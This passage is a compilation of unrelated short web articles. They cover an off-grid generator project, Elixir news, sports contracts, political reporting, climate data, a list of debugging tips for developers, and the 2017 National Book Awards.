with a diesel generator – assisted by solar cells producing 10% of the power – that can produce power for 100 people in twenty households every day. In addition to producing power, the generator can also provide clean water. Using waste heat, the generator can heat water above the temperature where pathogens can survive, providing over 260 gallons of clean water a day. A central computer monitors resources to prevent overloading and allows for preloaded cards to be used by patrons to track individual billing. Dubbed SMiG, the project is currently looking for funding, after which it will be tested in developing countries in Asia and Africa. + ETH Zurich Via Phys.Org -This week in Elixir Elixir Users' Survey 2016 Josh launched the Elixir Users' Survey 2016 this week. He does these every year and while aren't in any way an official thing, I'd like to encourage you to participate (the results are published). Elixir ETS/DETS/Mnesia/BEAM vs Redis Redis is becoming an assumed part of many web stacks, in the same breath as your database. But with Elixir, do you need it? Do you even need a database? GenStage Patterns Adam shows us some ways he found useful when working with GenStage. Great read! Pairs.One has been open-sourced This multiplayer online memory game written in Elixir/Elm has been open-sourced during a lightning talk at EuRuKo! Ecto.Rut - Ecto Shortcuts to make your life easier! Ecto.Rut gives you simple wrapper methods that let you directly call CRUD methods from your Module, like `Post.all`. ElixirConf 2016 videos Confreaks by now has released a lot of the ElixirConf 2016 videos! Elixir.LDN 2016 videos Last, but not least: Video recordings of Elixir.LDN, the London conference, went up on YouTube as well. -Mayoral candidate and City Councilwoman LaToya Cantrell has a lien on her house because the IRS says she owes about $27,500 in unpaid income taxes, The Lens reported on Friday (July 21). Cantrell told the investigative website that her mortgage lender, First NBC Bank, made a mistake that needs to be corrected. The Lens reported the exact amount as $27,564.99 and said it was for federal taxes that weren't paid between 2010 and 2012 by Cantrell and her husband, attorney Jason Cantrell, including interest and penalties. Mayoral candidate LaToya Cantrell says 'nothing stops a bullet like a job,' offers vision for tackling crime Candidate Desiree Charbonnet, meanwhile, released a written outline of her crime fighting plan. Cantrell told the website that the mistake was part of a refinancing she and her husband undertook in 2013 to repair damage to the home dating to Hurricane Katrina. She said she had paid money into an escrow account that was supposed to settle the tax debt, but the bank never sent the money to the IRS. During the last mayoral race, The Lens also discovered mayoral candidate Michael Bagneris also had unpaid taxes. The Lens said it hasn't found any court filings indicating Bagneris still owes those taxes. Read the full Lens report here. -Jibo robot snags new Sensory cloud-free speech control Home robot companion Jibo may be able to recognize natural speech but it won’t demand a web connection to do it, the first ‘bot to feature a new offline engine that cuts the cord. Jibo, announced last year and expected to ship in 2016, may look like a kitchen appliance brought to life, but thanks to Sensory’s new TrulyNatural system will be able to perpetually listen and react to a broad range of voice commands without requiring a connection to the cloud as most speech-recognition does. Handiwork of Cynthia Breazeal, an associate professor of media arts and sciences at MIT and director of the Personal Robots Group at the MIT Media Lab, Jibo stands 11-inches tall and has a moving LCD for a face. It’s designed to be a storyteller for kids, a companion for the elderly, and a quick way to keep up to date with news and web searches for everyone else. It was enough to score almost $2.3m in a crowdfunding campaign, though deliveries aren’t expected until sometime next year, and product demonstrations themselves will only be shown this year. TrulyNatural’s magic is based on shrinking the voice-recognition engine down to the point where it’s small enough to be installed locally and efficient enough to run without demanding huge servers in the crowd. In fact, Sensory says, one version can fit “hundreds” of recognizable words into less than 1MB on a smartphone or wearable. For Jibo, though, that number can be far, far larger, not to mention work without the lag that’s normally involved when speech is shuttled to remote servers for processing. Sensory claims an error rate of less than 8-percent for 1m attempts. “We believed it’s the highest capacity large vocabulary recognizer out on the market today,” Sensory CEO Todd Mozier says. TrulyNatural will initially recognize US English, Mandarin Chinese, Korean, Japanese, UK English, French, Spanish, and German; Italian, Portuguese, and Russian will follow later on in 2015. Meanwhile, there are SDKs for iOS, Android, Windows, and Linux. While completely offline use is supported, another implementation can blend both local and cloud-based processing, the server-side component expanding on the core functionality whenever there’s a working connection. For Jibo, it should mean the robot is more responsive, which will help it feel more lifelike. Since Breazeal and her team revealed the project, for instance, Amazon launched its Echo speech-controlled assistant, but that involves cloud-based processing and the lag that entails. Interestingly Sensory can also identify individual speakers, not only differentiating between them but improving its voice recognition engine on a per-user basis by learning how each specific person speaks. However, robotics are only one potential implementation for TrulyNatural. Sensory is also targeting automotive applications, which could mean car infotainment systems that react to a wide range of natural phrases and instructions but don’t need a web connection, as is relied upon in Android Auto. For drivers, that extra turn of speed and responsiveness could be even more important. One of TrulyNatural’s abilities, for instance, is distinguishing between over half a million different song titles, perfect for a Tesla-style spoken jukebox search. Intel is also using Sensory technology, demonstrating offline recognition earlier this year as embedded in the Jarvis headset. MORE Sensory -A Mexican judge expected to hand down rulings for cases on some top drug lords died at the hands of a professional assassin. The murder has sparked outrage among public officials in the country who have demanded an investigation. The murder took place Monday, early morning in a wealthy neighborhood in Ecatepec, not far from Mexico City. Breitbart Texas obtained a copy of the video that shows when the assassin, wearing black clothing, runs up to Judge Vicente Bermudez in order to shoot him in the head. The video purports to show Bermudez collapse after being shot. The assassin simply turns around and runs away thereafter. Another man in dark pants and a white shirt appears to run alongside the assassin. Bermudez had been jogging without any security escort at the time of his murder. The video does not reveal the type of pistol used by the assassin. Unlike the United States, the purchase of weapons is controlled by the Mexican Army. Currently, Mexican citizens can only purchase hunting weapons such as bolt-action rifles, pump shotguns and .22 caliber pistols. Only criminals, military, and police forces carry weapons in Mexico. While government officials have not named a suspect in the murder, Bermudez’s court docket proved to be a who’s who of the Mexican underworld. The judge was expected to issue rulings on challenges to the extradition of Joaquin “El Chapo” Guzman Loera, the leader of the Sinaloa Cartel, which is considered by the U.S. Drug Enforcement Agency to be the most powerful cartel in the world. Bermudez also handled some of the challenges filed by the attorneys of the top leader for the Los Zetas Cartel, Miguel Angel “El 40” Treviño Morales. The judge also heard cases tied to the prosecution of Mario “El Gordo” Cardenas Guillen, who at one time was the leader of the Gulf Cartel. The high-profile assassination led to Mexican president Enrique Peña Nieto to call for federal authorities to take over the murder investigation. In Mexico, violent cases are usually investigated and prosecuted at the state level. Ildefonso Ortiz is an award winning journalist with Breitbart Texas. He co-founded the Cartel Chronicles project and you can follow him on Twitter and on Facebook. Tony Aranda contributed to this report. -Getty Images Wide receiver Dez Bryant has signed a new, long-term deal with the Dallas Cowboys after being given the franchise tag at the start of free agency. The deal brings an end to a prolonged negotiation that included threats of a holdout which could have extended deep into the regular season. Continue for updates. Cowboys Reportedly Have Agreement in Place Wednesday, July 15 NFL Network's Ian Rapoport reported Bryant and the Cowboys have a five-year, $70 million contract agreement in place. Chris Mortensen of ESPN reported $45 million will be guaranteed in the deal. Pro Football Talk reported Bryant will earn a $20 million signing bonus as part of that guaranteed money, leaving $3 million in guarantees for the 2015 season, and another $22 million guaranteed in March 2016. Bleacher Report's Jason Cole added that the Cowboys were hoping to get a clause in a new deal that would allow them to void Bryant's deal in the event that the wideout gets in trouble: On July 14, Rapoport reported Bryant was asking for more money than Calvin Johnson, and while one source said the sides had "a long way to go," the Cowboys' offer averaging over $12.8 million per year is far superior to the initial deal they offered, which averaged $10 million a year. Bryant Threatened to Sit Out Regular-Season Games in Contract Dispute Tuesday, July 14 Rapoport reported he has not talked to anyone who believes Bryant's threat to sit out any regular-season games is legitimate, but Rand Getlin of NFL Network says sources close to the Cowboys star insists he will if he doesn't get a deal. On July 13, Ed Werder of ESPN passed along news that Bryant won't attend training camp without a deal, reporting the star wide receiver called executive vice president Stephen Jones personally to inform him of his decision. Werder added Bryant would also miss real games without a long-term deal. However, Jones told Werder Bryant made no such threat, while the player himself confirmed he intends to hold out without a new contract: On July 14, Florio explained why Bryant would be willing to miss regular-season games, noting that even if he failed to play for the Cowboys in 2015, the collective bargaining agreement states the wideout would still be eligible for a 20 percent raise over the franchise-tag price next season. Despite Bryant's stance, Jerry Jones said back on June 17 he expects Bryant to "lead the Cowboys charge" in Week 1 against the Giants regardless of his contract status, according to Todd Archer of ESPN. Jones said he was "sympathetic" to Bryant, according to Mike Fisher of Fox Sports: "I would like nothing more than to have long-term security with Dez." Bryant took to Twitter to defend his decision to hold out: "With my conversations with him, he is willing to miss regular-season games," Bryant's agent Tom Condon told Sirius XM NFL Radio on June 16. ESPN's Chris Mortensen first reported June 12 that Bryant is considering skipping the Cowboys' Week 1 game against the New York Giants if he doesn't get a long-term deal before the July 15 deadline to sign a franchise-tagged player. NFLPA Reviewing Possible Collusion Claim Friday, July 10 Schefter reported the NFLPA is reviewing information that could lead to a collusion claim over the Cowboys and Bryant's negotiations: Bryant, Cowboys Reportedly Optimistic Over Negotiations Monday, July 6 Jason La Canfora of CBS Sports passed along what he was hearing regarding a potential time line for a resolution to negotiations, stating talks will continue to evolve and "possibly conclude by midweek." On July 4, Fisher reported the Cowboys and Bryant are optimistic about getting a deal done, noting the two sides are comfortable enough to not negotiate over the holiday weekend because of a shared willingness to have a positive impact on the Cowboys for life. He also said while the structure of the potential seven-year, $100 million deal is unknown, Jones wants to make a "positive mark" on the contract. The news comes on the heels of a June 27 report from Archer, who passed along word of the meeting between Condon and the team—the first in "nearly four months." On June 25, Cole reported the star wide receiver has "significant financial issues," which gives the team leverage as Bryant continues to hold out: Despite Bryant's desire for a new contract, a June 10 report from Ross Jones of Fox Sports provided comments from an agent who said teams will "likely" make stars like Bryant and the Denver Broncos' Demaryius Thomas play on a franchise deal and that it's "possible" they can get tagged next season. Playing under a fully guaranteed deal for one season does hamper the Cowboys' salary cap in 2015 but also gives them more flexibility over the next few years without having a huge cap number for a wide receiver on the books. Bryant at Stadium, Not Attending OTAs Thursday, June 18 Fisher reported Bryant was at AT&T Stadium on Thursday, but that the wide receiver was not there to participate in the team's minicamp. However, he did speak with Jones, per Jon Machota of the Dallas Morning News. Drew Davison of the Fort Worth Star-Telegram provided Cowboys head coach Jason Garrett's take, saying "it's great" Bryant was in attendance. Garrett said he had been talking with the wide receiver, and that Bryant knew the importance of being present for the team's final message of minicamp, per David Moore of the Dallas Morning News. Bryant has emerged as one of the NFL's best wideouts after leading the league in receiving touchdowns last year (16) and being named first-team All-Pro. The Cowboys need Bryant to be happy and on the field if they want to make another playoff run in 2015. He would be sacrificing money to skip regular-season games, if that's the route he wants to take. -A new study has uncovered all kinds of interesting tidbits about the sex habits of Donald Trump and Hillary Clinton supporters. The annual study, conducted by top dating website company “Match,” found that Trump supporters are 11 times more likely to to expect sex on the first dates, while Hillary supporters are more likely to lie about their total number of sex partners. Trump supporters are also more likely to film themselves having sex. The Singles in America study analyzed 5,504 singles ages over the age of 18. From the study: Hillary supporters are more likely to: lie about the number of past sex partners (102%); “wait for the right person” (38%); actively look for commitment (43%) and want children (65%). On the first date they expect no physical contact (2133%), are 70% more likely to discuss politics and 226% more likely to discuss marriage. Trump supporters are more likely to: film themselves having sex (99%); have five or more exes (54%); be unemployed (82%) or retired (96%); expect sex on the first date (1104%) and discuss their exes (116%). According to the study, a third of women would not ask for a second date with Donald Trump. Older women said Sen. Marco Rubio was the candidate they’d most like to kiss, but millennial women said Sen. Bernie Sanders would be their first choice for a kiss. The study also found that if you wanted a second date with a Republican, taking them to a fancy restaurant would make you 122 percent more likely to get that second date. Oddly, ordering sushi will make you 124 percent more likely to get a second date with a Democrat. Send tips to casey@dailycallernewsfoundation.org. Follow Casey on Twitter and like him on Facebook. Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org. -A gentle exfoliating and cleansing regimen is an essential part of regular facial skin care, which is why WODA has designed a cutting-edge, top of the line collection of masks to turn back the clock and reveal your natural glow. WODA’s Magic Bamboo & Charcoal Mask is one of the most popular and versatile masks in this line, offering a deep cleansing experience that aids in reducing the appearance of hyperpigmentation, blemishes, and sunspots. Not only does it contain activated bamboo charcoal known for natural deep cleansing properties, but evening primrose oil and rosehip oil both work in combination to sooth the skin while it exfoliates. Perfect as a gift, or an addition to any anti-aging skin care routine. When it comes to luxury in facial skin care, WODA Sin Care does not hold back. Legend has it that Cleopatra slept in a pure gold face mask every night to enhance her stunning beauty and complexion. In line with these ancient beauty practices, WODA offers a Celebrity 24 Karat Gold Mask complete with vitamin C to deeply hydrate and revitalize. Along with other luxurious ingredients, this natural face mask is cleverly blended with organic coconut oil and cocoa seed butter, designed to plump and lighten complexions of all types. It is essential that natural face masks strike a delicate balance between exfoliating and hydrating, which is why WODA’s organic face mask line only includes gentle ingredients crafted with all skin types in mind. Among many other essential ingredients, a delicious combination of pumpkin enzymes, organic rosehip oil, and aloe vera are included in WODA’s Brilliant Enzyme Mask. This crème also contains glycolic acid, which gently exfoliates and eliminates dead skin cells to reveal your natural youthful shine. This mask also offers special organic enzymes that activate modules on the epidermis to increase hydration and glow. Finally, for blemish-prone or oily skin types, WODA Skin Care offers an all-natural solution, guaranteed not to leave your skin irritated or red. The Clear Skin Anti-Blemish Mask provides a luxurious formula that contains lactic acid, vitamin C, and organic jojoba oil, helping to clear the skin without causing dryness. -Accordingly, the baggage carried by Steven Mnuchin, President Trump's nominee for Secretary of the Treasury, gives me great pause. The abuses by the IndyMac-cum-OneWest financial institution under his leadership are well-documented. As a member of the professional tax community, my interest in the goings on over at the Treasury Department is a bit more keen than that of most Americans. And as an American expatriate, I am impacted financially in ways which leave my stateside countrymen and -women largely unscathed (including, for most American resident citizens, the requirement to report foreign bank accounts under threat of severe penalty for noncompliance). Our financial privacy has been seriously eroded. There are severe restrictions on where and how we expats can invest our money. The laws are crippling enough to begin with, but the way they are administered by IRS and the Treasury Department is driving many Americans to renounce their citizenship . At a Connecticut General Assembly hearing, Ms. Frances Kenneally gave an account of IndyMac/OneWest's abusive tactics in the mortgage mediation process, including being told conflicting stories by IndyMac and OneWest as to the status of her mortgage. Perhaps the most notorious practice from the recent mortgage crisis was the process called "robo-signing." Erica Johnson-Seck gained notoriety as the poster child of robo-signers. In some Florida litigation, Ms. Johnson-Seck avered under oath that while serving as a vice-president of OneWest and its previous incarnations (plural), she simultaneously served as an officer of other entities whose interests would normally be inconsistent with those of OneWest/IndyMac In the Drayton case, a Kings County (Brooklyn), New York foreclosure action, Justice Arthur Schack dismissed the case, but gave OneWest Bank leave to renew, provided that, within 60 days, OneWest Bank, F.S.B., submits to the court: (1) proof of the grant of authority from the original mortgagee, Cambridge Home Capital, LLC, to its nominee, Mortgage Electronic Registration Systems, Inc., to assign the subject mortgage and note to IndyMac Federal Bank, FSB; and (2) an affidavit by Erica A. Johnson-Seck, vice-president of plaintiff OneWest Bank, F.S.B., explaining: her employment history for the past three years; why a conflict of interest does not exist in how she acted as a vice-president of assignor Mortgage Electronic Registration Systems, Inc., a vice-president of assignee/assignor IndyMac Federal Bank, FSB, and a vice-president of assignee/plaintiff OneWest Bank, F.S.B. in this action; why she was a vice-president of both assignor Mortgage Electronic Registration Systems, Inc. and assignee Deutsche Bank in Deutsche Bank Natl. Trust Co. v Maraj (18 Misc 3d 1123[A], 2008 NY Slip Op 50176[U] [2008]); why she was a vice-president of both assignor Mortgage Electronic Registration Systems, Inc. and assignee IndyMac Bank, FSB in IndyMac Bank, FSB v Bethley (22 Misc 3d 1119[A], 2009 NY Slip Op 50186[U] [2009]); and, why she executed an affidavit of merit as a vice-president of Deutsche Bank in Deutsche Bank v Harris (Sup Ct, Kings County, Feb. 5, 2008, index No. 35549/07); and (3) counsel for plaintiff OneWest Bank, F.S.B. must comply with the new court filing requirement, announced by Chief Judge Jonathan Lippman on October 20, 2010, by submitting an affirmation, using the new standard court form, pursuant to CPLR 2106 and under the penalties of perjury, that counsel for plaintiff OneWest Bank, F.S.B. has personally reviewed plaintiff OneWest Bank, F.S.B.'s documents and records in the instant action and counsel for plaintiff OneWest Bank, F.S.B. confirms the factual accuracy of plaintiff OneWest Bank, F.S.B.'s court filings and the accuracy of the notarizations in plaintiff OneWest Bank, F.S.B.'s documents. In that same judicial opinion, Justice Schack defined a robo-signer as "a person who quickly signs hundreds or thousands of foreclosure documents in a month, despite swearing that he or she has personally reviewed the mortgage documents but has not done so." The case was not refiled by OneWest. Senator Sherrod Brown (D-OH) believes, apparently with good reason, that Mr. Mnuchin misled the Senate Finance Committee when he denied that robo-signing occurred while he was CEO and chairman at IndyMac/OneWest. The Columbus Dispatch reports that robo-signing did in fact occur during that period. Some full disclosure is now in order at this juncture: I voted for Donald Trump in the past election, knowing that, like all other candidates for public office, there would be some disappointments from him if he were elected. I do support most of what our president has done thus far. But I fear that the Mnuchin nomination may well cause the president more than a little bit of damage. The Department of the Treasury is a complex organization, and its CEO, the Secretary of the Treasury, even more than the IRS, wields profound powers over the lives of all Americans, whether individuals or business entities. As Ms. Kenneally's testimony exemplifies, taxation, financial, and economic policies can take a significant toll on the noneconomic aspects of an individual's life, thereby affecting his well-being. Mr. Mnuchin no doubt understands this dynamic on an intellectual level, but how well has he internalized it? And what of his ability or willingness to control the behavior of his subalterns? These are serious questions for which I, as an expatriate tax professional, would really, really like to see satisfactory answers. Kenneth H. Ryesky, now a senior advisor in the U.S. Desk of Ernst & Young's International Tax Services in Tel Aviv, is a lawyer who has taught business law and taxation at Queens College CUNY. He formerly served as an attorney for the IRS. -November 27, 2010 — andyextance The amount of greenhouse gases in the atmosphere reached the highest level recorded since pre-industrial times in 2009, despite a fall in CO2 emissions during the year, scientists have underlined this week. Writing in Nature Geoscience on Sunday, a group of UK, US and Australian scientists found that global CO2 emissions from burning fossil fuel in 2009 were 1.3 percent below the record 2008 figures. However, the World Meteorological Organization (WMO) on Wednesday underlined that the overall amount of “radiative forcing” from greenhouse gases – a measure of the warming energy that they contribute – actually rose by 1 percent in 2009. The WMO notes that reduced growth rates for concentrations of greenhouses gases like CO2 and nitrous oxide last year were accompanied by more rapid growth for methane. Atmospheric levels of methane, which contributes around one-fifth of global radiative forcing, had been steady for a decade previously, but have been rising rapidly since 2007. The WMO’s 2009 Greenhouse Gas Bulletin says that although the reasons for this are unclear, it’s thought that it is down to natural emissions as regions like the Arctic warm. “Potential methane release from northern permafrost, and wetlands, under future climate change is of great concern and is becoming a focus of intensive research and observations,” said WMO Secretary-General Michel Jarraud. The WMO bulletin says that in 2009 the atmospheric concentration of CO2 was 386.8 parts per million, methane was 1803 parts per billion (ppb) and nitrous oxide’s concentration was 322.5 ppb. These values are 38 percent, 158 percent and 19 percent greater than in 1750, respectively, before the industrial revolution began to intensify humanity’s burning of fossil fuels. These figures will rise still further, with global CO2 emissions set to reach their highest ever levels in 2010, according to the University of Exeter’s Pierre Friedlingstein and colleagues. The 1.3 percent drop in 2009 that their Nature Geoscience paper documented was less than previously predicted, and unlikely to happen again this year. “Despite this drop, the 2009 global fossil fuel and cement emissions were the second highest in human history at 30.8 billion tons of CO2, just below the 2008 emissions,” the team wrote. They also predicted that 2010’s economic growth will raise CO2 emissions from fossil fuel by more than 3 percent, a high growth rate similar to what was seen earlier in the decade through 2000 to 2008. The financial crisis seen in Europe and North America was expected to have a knock-on effect reducing energy use, Friedlingstein explained. “The 2009 drop in CO2 emissions is less than half that anticipated a year ago,” he said. “This is because the drop in world Gross Domestic Product (GDP) was less than anticipated and the carbon intensity of world GDP, which is the amount of CO2 released per unit of GDP, improved by only 0.7 per cent in 2009 – well below its long-term average of 1.7 percent per year.” The global financial crisis severely affected western economies, reducing their industrial activity and need for electricity, for example, and therefore cutting CO2 emissions produced in power generation. UK emissions were 8.6 percent lower in 2009 than in 2008, with similar figures seen in most other industrialised nations. Rapidly growing emerging economies recorded substantial increases in CO2 emissions, with China’s emissions increasing by 8 percent, and India’s by 6.2 percent, broadly agreeing with figures produced earlier this year. These countries are more “carbon intense”, producing more CO2 for the money earned in their economies. This and the increasing reliance on coal around the world contributed to the poor carbon intensity result. The good news, however, is that the team finds CO2 emissions resulting from forests disappearing over the last decade have decreased by over 25 percent compared to the 1990s. This is thanks largely to reduced deforestation in tropical areas. “For the first time, forest expansion in temperate latitudes has overcompensated deforestation emissions and caused a small net sink of CO2 outside the tropics”, says Friedlingstein’s co-author Corinne Le Quéré, from the University of East Anglia and the British Antarctic Survey. “We could be seeing the first signs of net CO2 sequestration in the forest sector outside the tropics”, she adds. Advertisements -FOR IMMEDIATE RELEASE – October 7, 2017 ARLINGTON, Va. – The Washington Capitals have hired former Capital Peter Bondra as director of alumni affairs and business development, president of business operations and chief commercial officer of Monumental Sports & Entertainment Jim Van Stone announced today. “We are thrilled to add a familiar face to our organization,” said Van Stone. “Peter’s contributions to our organization both on and off the ice is remarkable. Peter has always been generous with his time and this is a great opportunity for him to continue to make a positive impact in the community.” Bondra played in 1,081 NHL games over a 16-season career, scoring 503 goals and 892 points. Bondra played in five All-Star Games and he remains second in Capitals’ franchise history in goals (472) and points (825). Bondra represented Slovakia internationally on multiple occasions, highlighted by a gold medal at the 2002 IIHF World Championship and a bronze medal at the 2003 World Championship. He also played in two Olympics (1998, 2006) and in the World Cup of Hockey (1996). In addition, Bondra served as General Manager for Slovakia’s national team from 2007-11 and as a scout for Team Europe at the 2016 World Cup of Hockey. “I am excited to join the Capitals in an official capacity,” said Bondra. “Washington has always been my home and I look forward to helping this organization in any way I can.” In his new role, Bondra will serve as the managing director of the Capitals Alumni Association with a focus on program and event development, alumni recruitment efforts and revenue development. In addition, he will support the Capitals fan development, community relations and MSE Foundation initiatives on various brand events and programs. Bondra will be available for interviews when the Capitals host Rock the Red Carpet on F Street in front of Capital One Arena from 3:30 p.m. to 5 p.m. today, prior to the Capitals Opening Night presented by GEICO. The Capitals open the 2017-18 season presented by Capital One Bank by hosting the Montreal Canadiens at 7 p.m. -Being a developer for over 20 years I realized that when a started I saw debugging not as a craft on which I could improve but as a tedious factory job that sadly you need to do when you're a developer. And nobody wants to do dull work, so as many before me I started looking for ways to improve my debugging skills so I could be more efficient at it. Nowadays I see debugging as an art which takes ongoing efforts to master. But can be really fun when you get better at it. The value of debugging Fact: Nobody writes perfect code, and errors are an inevitable part of developing software. Being able to locate and fix errors is an important and underestimated part of learning to code. It's also the hardest skill to teach. To be honest, learning to step through your code with a debugger isn't very complicated, but it only will get you so far. Learning how to use scientific, methodical logic, creative problem solving and being able to understand what you're actually seeing is much more complicated. This is why I decided to create a list with tips to help you get a head start on becoming better at debugging. The list is based on my personal best practices and years and years of frustrating error-solving. Looking back, it would have helped a lot if I've had a couple of the tips from the start. Hopefully, you'll pick up some new ideas. Mindset: They're errors not bugs Before you continue it's important to have the right mindset. Remember: every error is an opportunity to learn, almost always about yourself (because only beginners blame the computer). And yes, they're errors, not bugs! As Dijkstra stated: the term bugs support the idea that something sneaked in our code while we weren't looking, instead of being there by our own creation (http://www.cs.utexas.edu/users/EWD/transcriptions/EWD10xx/EWD1036.html) The list! 1. Learn to use a step-by-step debugger: (or print/echo/console.log a lot if you don't have a debugger). Use the debugger by: a. Adding watches to validate values of variables b. Setting breakpoints on relevant parts of your code c. Go through your code step by step and validate the input/output of each and every step 2. Assumptions are the m*therf*cker of all f*ck-ups Assumptions are wonderful: these quick conclusions are what makes you a real expert, but sometimes they are just plain wrong. How many times did you spend hours and hours staring at lines of code and saying: "This should work!" Blinded by your assumptions, unable to see the obvious flaw right under your nose. When you finally found the error, you decide to quit your job, because of how stupid you were not seeing your mistake right away. Should you not make assumptions then? You should make a lot of assumptions on what caused the error. Give yourself some time (max. 15 minutes), make drawings, write your assumptions down. Which one does your intuition tell you is the correct assumption? Which ones are easiest to validate? And start validating your assumptions. Making those assumptions and validating them first, helps you reason about the structure of your code. If you don't know for sure how something is working, and assume that it must be correct, you're making assumptions. So figure out how it's working first, read the code or ask someone to explain. If you just randomly assume and change your code, you're not a developer, you're a vlorker (which is what we at GHG Tech call someone who does that). Read http://us.talentlens.com/dr-judy/how-to-recognize-your-assumptions about recognizing assumptions 3. Binary search to the rescue Don't start at the beginning of your executed code, start halfway the steps of the code. The idea behind binary-search is to quickly identify/isolate a small region which contains the error. Developers are often not aware that they save a lot of time with this. How often was the error right at the start of your code? A simple example If you don't know which line in a 100-line program has an error, you set a breakpoint at 50 lines. Do the variables have the expected value, is this code even reached? If not, you know this first segment contains the error. You next try to split this and run the first 25 lines and see if the problem is there and so on until you have figured out a short enough piece to look at. Other approaches are commenting out code till it works and then adding pieces back'or more modern approaches like git bisect. My problem with tools like that is that you don't learn to debug code, learn from it and thus will make the same mistakes in the future. 4. RTFE (where E = Error message) Error messages are scary things you must avoid at all cost! Especially when you just started developing, they can be quite overwhelming. One important thing to understand about error messages, although an error message will tell you where it was detected it will not tell where it occurred. Read the message and try to understand that. Learn about the stack trace. If you have a run-time stack trace, start at the top and trace your variable assignments and function calls backwards. If you have a compiler error, the cause is often in a line before the one cited by the error message. Google for the error message and add context to your search query, if you're debugging Boto in regards to an S3 problem, combine the error message adding Boto and s3 to your search query. And if you get a result, don't just copy/solutions, understand what the solution is and validate if it's indeed a fix for your error. 5.Baby steps Run your code every time you make a significant change. Don't randomly tweak code; follow the code's execution process and validate your assumptions. Ask yourself the question: "If I change this part of the code will it result in the expected behavior?" Yes, continue with the next change. It's maybe stating the obvious but be honest are you always applying this principle? 6. Rubber ducking The term comes from a story in the book The Pragmatic Programmer in which a programmer carries around a rubber duck and debugs his code by forcing himself to explain it, line by line, to the duck. Have you had the experience when explaining a programming problem to someone else, even to someone who doesn't know anything about coding, and in a sudden realization, finding a solution? You can use actual rubber duckies or use the modern day version created by my colleague Erik Driessen directly. 7. Take a break and walk away. Remember those late nights, up till 3 a.m. working on that nasty error, going to bed completely defeated, waking up the next morning with a new brilliant solution. When you are stuck your mind tends to get even more stuck and you don't see the actual problem anymore. Just let it rest for a while, go out for a walk, drink a cup of coffee, attend to another piece of code or pay a visit to your grandma (chance to apply your rubber ducking skills). You will probably notice that taking a step back might actually reset your brain and you will see another way to tackle the error 8. Ask for help Asking a colleague for help should not be seen a weakness it's actually a strength. How wonderful it is to be able to help out a colleague with a problem and solving it together. Giving each other a high five and talk about that nasty error even years later is really good bonding mechanism. But don't do it before you've at least tried to tackle it yourself with the first 7 tips. Conclusion I wrote down my personal approach to debugging, but since it's a creative process and you learn every day, it's in no way a definitive list. I'm curious to hear your anecdotes and best practices. And keep in mind: Everyone knows that debugging is twice as hard as writing code in the first place. So if you're as clever as you can be when you write it, how will you ever debug it? So for now happy debugging...uh...de-erroring!! -About two-thirds of Americans who work at small businesses will see health-insurance premiums increase under Obamacare, according to a new federal report. The higher premiums will affect about 11 million Americans, according to the report from the Centers for Medicare and Medicaid Services. The report also estimated an additional 6 million individuals will see reductions in their premiums. The report was released Friday, but came to light late Monday as some lawmakers have seized on the report's release to voice their skepticism about Obamacare. House Speaker John Boehner, late Monday, released the following statement in response to the report. "For all the promises of lower costs for small businesses, the administration now admits that far more of these workers will pay higher than lower premiums under the law," he said. "The bad news keeps mounting and our nation's best job creators are paying the price," said House Small Business Committee Chairman Sam Graves (R-Mo.) in a statement. "Earlier this month, the nonpartisan Congressional Budget Office provided economic data that echoed what many small businesses have been telling us – that the health law is killing jobs and harming the economy," Graves said. The report can be found here. (Read more: Why there are fewer new US businesses and jobs) -Think of the most neglected areas in Dayton, Springfield, Middletown or Hamilton and super-size it by 1,000 times or more. The WSU men's basketball team passed a run down and worn out area to play at Detroit Mercy on Dec. 31, 2016. That’s not a mocking indictment on this nation’s onetime industrial might. It’s more a nod to the evolution of a mighty city that couldn’t keep up with changing technology or overcome unchecked political corruption from within. This video is a snippet of what pervades much of Detroit. It’s 6 Mile Road, also known as McNichols Avenue. Taking this exit off Interstate 75, this is the way to Detroit Mercy University, where Wright State played a men’s college basketball game on Saturday, Dec. 31, 2016. The gated campus is about two miles from I-75. Scores of abandoned and burned-out homes line the way. This also is about 15 miles north of downtown Detroit, where much has been revitalized but the rest wastes away in disarray. PARKER ERNSTHAUSEN: Comes up big for Raiders We have a new incoming president who’s fond of saying let’s make America great again. Detroit would be a great place to start. FACEBOOK: For more sports you should like Marc Pendleton -Author takes out top prize for fiction for the second time with novel about race, poverty, loss and family in America’s south Jesmyn Ward has won one of the highest awards in American literature for the second time, taking home the National Book Award’s top prize for fiction for her critically lauded novel about race, poverty, loss and family in America’s south: Sing, Unburied, Sing. At the ceremony, held in New York and hosted by actor Cynthia Nixon, Ward saw off competition from Elliot Ackerman (Dark at the Crossing), Lisa Ko (The Leavers), Min Jin Lee (Pachinko) and Carmen Maria Machado (Her Body and Other Parties: Stories). Ward, 40, won the same award in 2011 for her novel Salvage the Bones. Sing, Unburied, Sing is half road novel and half ghost story, following a family that lives in a fictional Mississippi town, post–Hurricane Katrina. “Throughout my career, when I have been rejected, there was sometimes subtext, and it was this: ‘People will not read your work because these are not universal stories,’ ” Ward said. “I don’t know whether some doorkeepers felt this way because I wrote about poor people, or black people, or southerners, but as my career progressed ... I still encountered that mindset, time and time again.” Ward spoke of people who would contact her asking what her characters had to offer them, and praised the judges and her readers for seeing themselves in her writing. “You looked at me and at the people I love and write about – my poor, my black; my Southern children, women and men – and you saw yourself. You saw your grief, your love, your losses; your regrets, your joy, your hope.” Jesmyn Ward: ‘So much of life is pain and sorrow and wilful ignorance’ Read more The nonfiction category was won by the Russian and American journalist Masha Gessen, for The Future Is History: How Totalitarianism Reclaimed Russia. Facilitated by a grant from the Carnegie Foundation, Gessen’s book weaves through four decades of Russian history, and the country’s turn away from democracy – a topic which becomes particularly timely in Donald Trump’s America. “I never thought that a Russia book could ever be longlisted or shortlisted for the National Book Award but, of course, things have changed,” Gessen said, to laughs. The night’s other major awards were for poetry and young people’s literature. In the poetry category, a three-time Pulitzer finalist, Frank Bidart, won for Half-light: Collected Poems 1965-2016. “I’ve realised during the past month that I”m almost twice as old as any of the other finalists,” Bidart said. “Writing the poems was how I survived.” The young people’s literary category was won by Robin Benway for Far from the Tree. Richard Flanagan and Jesmyn Ward – books podcast Read more About 1,500 books were submitted for the awards, which are restricted to works published between 1 December 2016 and 30 November 2017. Of the 20 finalists this year, 15 were women. Each finalist receives $1,000, and the winners take home $10,000 each. Established in 1950, and administrated by the National Book Foundation since 1988, the award’s former winners have included Ralph Ellison, Jonathan Franzen, Saul Bellow and more recently Ta-Nehisi Coates, who won in 2015 for his nonfiction book Between the World and Me. Coates’s win 